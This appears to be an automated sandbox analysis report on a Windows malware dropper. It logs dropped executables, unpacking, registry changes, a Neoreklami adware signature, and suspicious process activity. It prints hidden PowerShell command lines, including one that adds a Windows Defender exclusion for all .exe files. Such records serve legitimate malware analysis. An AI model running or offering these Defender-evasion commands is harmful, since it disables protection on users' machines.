Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll

Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Play Glock_is1

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static file information: File size 1957376 > 1048576

Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1dd400

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: msvcp71.pdbx# source: is-IKU3H.tmp.11.dr
Source:	Binary string: c:\rje\tg\e\obj\Release\ojc.pdb source: file.exe
Source:	Binary string: BitLockerToGo.pdb source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763568801.0000000001908000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp71.pdb source: is-IKU3H.tmp.11.dr
Source:	Binary string: c:\rje\tg\e\obj\Release\ojc.pdb4 source: file.exe
Source:	Binary string: BitLockerToGo.pdbGCTL source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763568801.0000000001908000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Unpacked PE file: 9.2.tyq3dazbB0crObgKIDGLxiAO.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Unpacked PE file: 13.2.playglock32x64.exe.400000.0.unpack .text:EW;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Unpacked PE file: 9.2.tyq3dazbB0crObgKIDGLxiAO.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Unpacked PE file: 13.2.playglock32x64.exe.400000.0.unpack

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

Source: Y-Cleaner.exe.9.dr

Static PE information: 0xA0CED55F [Tue Jun 29 19:19:59 2055 UTC]

Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe

Code function: 8_2_00418320 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

8_2_00418320

Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe.3.dr	Static PE information: section name: .symtab
Source: Channel2[1].exe.3.dr	Static PE information: section name: .eh_fram
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe.3.dr	Static PE information: section name: .eh_fram
Source: setup[1].exe.3.dr	Static PE information: section name: .sxdata
Source: Jrh6BLxH1aqS3cJle2sY_F2Q.exe.3.dr	Static PE information: section name: .sxdata
Source: CheckTool[1].exe.3.dr	Static PE information: section name: .symtab
Source: IZImiIFXXrvtVOHFozZW.dll.6.dr	Static PE information: section name: .eh_fram
Source: service123.exe.6.dr	Static PE information: section name: .eh_fram
Source: Install.exe.8.dr	Static PE information: section name: .sxdata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_030225A1 push eax; retn 0071h	0_2_030225A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00567230 push ecx; ret	3_2_00567243
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: 7_2_004065B8 push 004065F5h; ret	7_2_004065ED
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: 7_2_004040B5 push eax; ret	7_2_004040F1
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: 7_2_00408104 push ecx; mov dword ptr [esp], eax	7_2_00408109
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: 7_2_00404185 push 00404391h; ret	7_2_00404389
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: 7_2_00404206 push 00404391h; ret	7_2_00404389
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: 7_2_0040C218 push eax; ret	7_2_0040C219
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: 7_2_004042E8 push 00404391h; ret	7_2_00404389
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: 7_2_00404283 push 00404391h; ret	7_2_00404389
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: 7_2_00408F38 push 00408F6Bh; ret	7_2_00408F63
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_00411360 push ecx; mov dword ptr [esp], ecx	8_2_00411361
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_00413954 push eax; ret	8_2_00413972
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_00413CC0 push eax; ret	8_2_00413CEE
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0042D822 push eax; retf	9_2_0042D859
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0042A0F5 push esi; ret	9_2_0042A0FE
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0040D26E push ecx; ret	9_2_0040D281
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0042C41E pushad ; retf	9_2_0042C445
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_1000E891 push ecx; ret	9_2_1000E8A4
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_004AD8D0 push eax; retf 004Ah	9_2_004AD99D
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_004B80B1 pushad ; ret	9_2_004B80B5
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020DCB5F push esp; retf	9_2_020DCB67
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020DD15D push esp; retf	9_2_020DD15E
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020CD4D5 push ecx; ret	9_2_020CD4E8
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00409954 push 00409991h; ret	11_2_00409989
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_0040A04F push ds; ret	11_2_0040A050
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_0040A023 push ds; ret	11_2_0040A04D
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00460088 push ecx; mov dword ptr [esp], ecx	11_2_0046008C
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004062CC push ecx; mov dword ptr [esp], eax	11_2_004062CD
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_0049467C push ecx; mov dword ptr [esp], ecx	11_2_00494681
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004106E0 push ecx; mov dword ptr [esp], edx	11_2_004106E5

Source: file.exe	Static PE information: section name: .text entropy: 7.999695640081768
Source: univ[1].exe.3.dr	Static PE information: section name: .text entropy: 7.808776511715382
Source: tyq3dazbB0crObgKIDGLxiAO.exe.3.dr	Static PE information: section name: .text entropy: 7.808776511715382
Source: Y-Cleaner.exe.9.dr	Static PE information: section name: .text entropy: 7.918511524700298

Persistence and Installation Behavior

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 8132, type: MEMORYSTR

Drops PE files to the document folder of the user

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Jump to dropped file

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
